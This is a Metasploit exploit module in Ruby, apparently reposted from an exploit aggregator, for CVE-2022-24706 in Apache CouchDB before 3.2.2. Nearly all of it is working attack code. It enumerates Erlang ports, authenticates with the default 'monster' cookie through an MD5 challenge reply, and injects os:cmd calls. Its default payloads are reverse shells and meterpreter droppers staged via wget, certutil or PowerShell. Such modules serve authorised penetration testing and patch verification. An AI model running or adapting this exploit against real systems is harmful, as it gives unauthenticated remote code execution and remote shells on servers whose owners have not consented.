Share
## https://sploitus.com/exploit?id=PACKETSTORM:169702
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Retry  
include Msf::Exploit::Powershell  
prepend Msf::Exploit::Remote::AutoCheck  
require 'msf/core/exploit/powershell'  
require 'digest'  
  
# Constants required for communicating over the Erlang protocol defined here:  
# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html  
EPM_NAME_CMD = "\x00\x01\x6e".freeze  
NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze  
CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze  
CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze  
COOKIE = 'monster'.freeze  
COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Couchdb Erlang RCE',  
'Description' => %q{  
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without  
authenticating and gain admin privileges.  
},  
'Author' => [  
'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery  
'1F98D', # Erlang Cookie RCE exploit  
'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit  
'_sadshade', # Apache CouchDB Erlang Cookie exploit  
'jheysel-r7', # Msf Module  
],  
'References' => [  
[ 'EDB', '49418' ],  
[ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],  
[ 'CVE', '2022-24706'],  
],  
'License' => MSF_LICENSE,  
'Platform' => ['win', 'linux'],  
'Payload' => {  
'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method  
},  
'Privileged' => false,  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_openssl'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => :wget,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'CmdStagerFlavor' => :certutil,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'  
}  
}  
],  
[  
'PowerShell Stager',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager,  
'CmdStagerFlavor' => :certutil,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2022-01-21',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
),  
)  
  
register_options(  
[  
Opt::RPORT(4369)  
]  
)  
end  
  
def check  
erlang_ports = get_erlang_ports  
# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.  
return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?  
  
erlang_ports.each do |erlang_port|  
# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been  
# successful and the target as well as the specific socket used in this instance is vulnerable  
sock = connect_to_erlang_server(erlang_port.to_i)  
if sock.instance_of?(Socket)  
@vulnerable_socket = sock  
return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')  
else  
next  
end  
end  
Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')  
end  
  
# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers  
#  
# @return [Array] An array of port numbers for discovered Erlang Servers.  
def get_erlang_ports  
erlang_ports = []  
begin  
print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")  
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })  
# request Erlang nodes  
sock.put(EPM_NAME_CMD)  
sleep datastore['WfsDelay']  
res = sock.get_once  
unless res && res.include?("\x00\x00\x11\x11name couchdb")  
print_error('Did not find any Erlang nodes')  
return erlang_ports  
end  
  
print_status('Successfully found EDPM socket')  
res.each_line do |line|  
erlang_ports << line.match(/\s(\d+$)/)[0]  
end  
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e  
print_error("Error connecting to EDPM: #{e.class} #{e}")  
disconnect  
return erlang_ports  
end  
erlang_ports  
end  
  
# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the  
# default erlang cookie value in Apache CouchDB installations before 3.2.2  
#  
# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server  
def connect_to_erlang_server(erlang_port)  
print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')  
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })  
print_status('Connection successful')  
challenge = retry_until_truthy(timeout: 60) do  
sock.put(NAME_MSG)  
sock.get_once(5) # ok message  
sock.get_once  
end  
# The expected successful response from the target should start with \x00\x1C  
unless challenge && challenge.include?("\x00\x1C")  
print_error('Connecting to the Erlang server was unsuccessful')  
return  
end  
  
challenge = challenge[9..12].unpack('N*')[0]  
challenge_reply = "\x00\x15r\x01\x02\x03\x04"  
md5 = Digest::MD5.new  
md5.update(COOKIE + challenge.to_s)  
challenge_reply << [md5.hexdigest].pack('H*')  
sock.put(challenge_reply)  
sleep datastore['WfsDelay']  
challenge_response = sock.get_once  
  
if challenge_response.nil?  
print_error('Authentication was unsuccessful')  
return  
end  
print_status('Erlang challenge and response completed successfully')  
  
sock  
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e  
print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")  
disconnect  
return  
end  
  
def compile_cmd(cmd)  
msg = ''  
msg << COMMAND_PREFIX  
msg << [cmd.length].pack('S>')  
msg << cmd  
msg << "jw\x04user"  
payload = ("\x70" + CTRL_DATA + msg)  
([payload.size].pack('N*') + payload)  
end  
  
def execute_command(cmd, opts = {})  
payload = compile_cmd(cmd)  
print_status('Sending payload... ')  
opts[:sock].put(payload)  
sleep datastore['WfsDelay']  
end  
  
def exploit_socket(sock)  
case target['Type']  
when :unix_cmd, :win_cmd  
execute_command(payload.encoded, { sock: sock })  
when :linux_dropper, :win_dropper  
execute_cmdstager({ sock: sock })  
when :psh_stager  
execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })  
else  
fail_with(Failure::BadConfig, 'Invalid target specified')  
end  
end  
  
def exploit  
# If the check method has already been run, use the vulnerable socket that has already been identified  
if @vulnerable_socket  
exploit_socket(@vulnerable_socket)  
else  
erlang_ports = get_erlang_ports  
fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)  
  
erlang_ports.each do |erlang_port|  
sock = connect_to_erlang_server(erlang_port.to_i)  
next unless sock.instance_of?(Socket)  
  
exploit_socket(sock)  
end  
end  
end  
end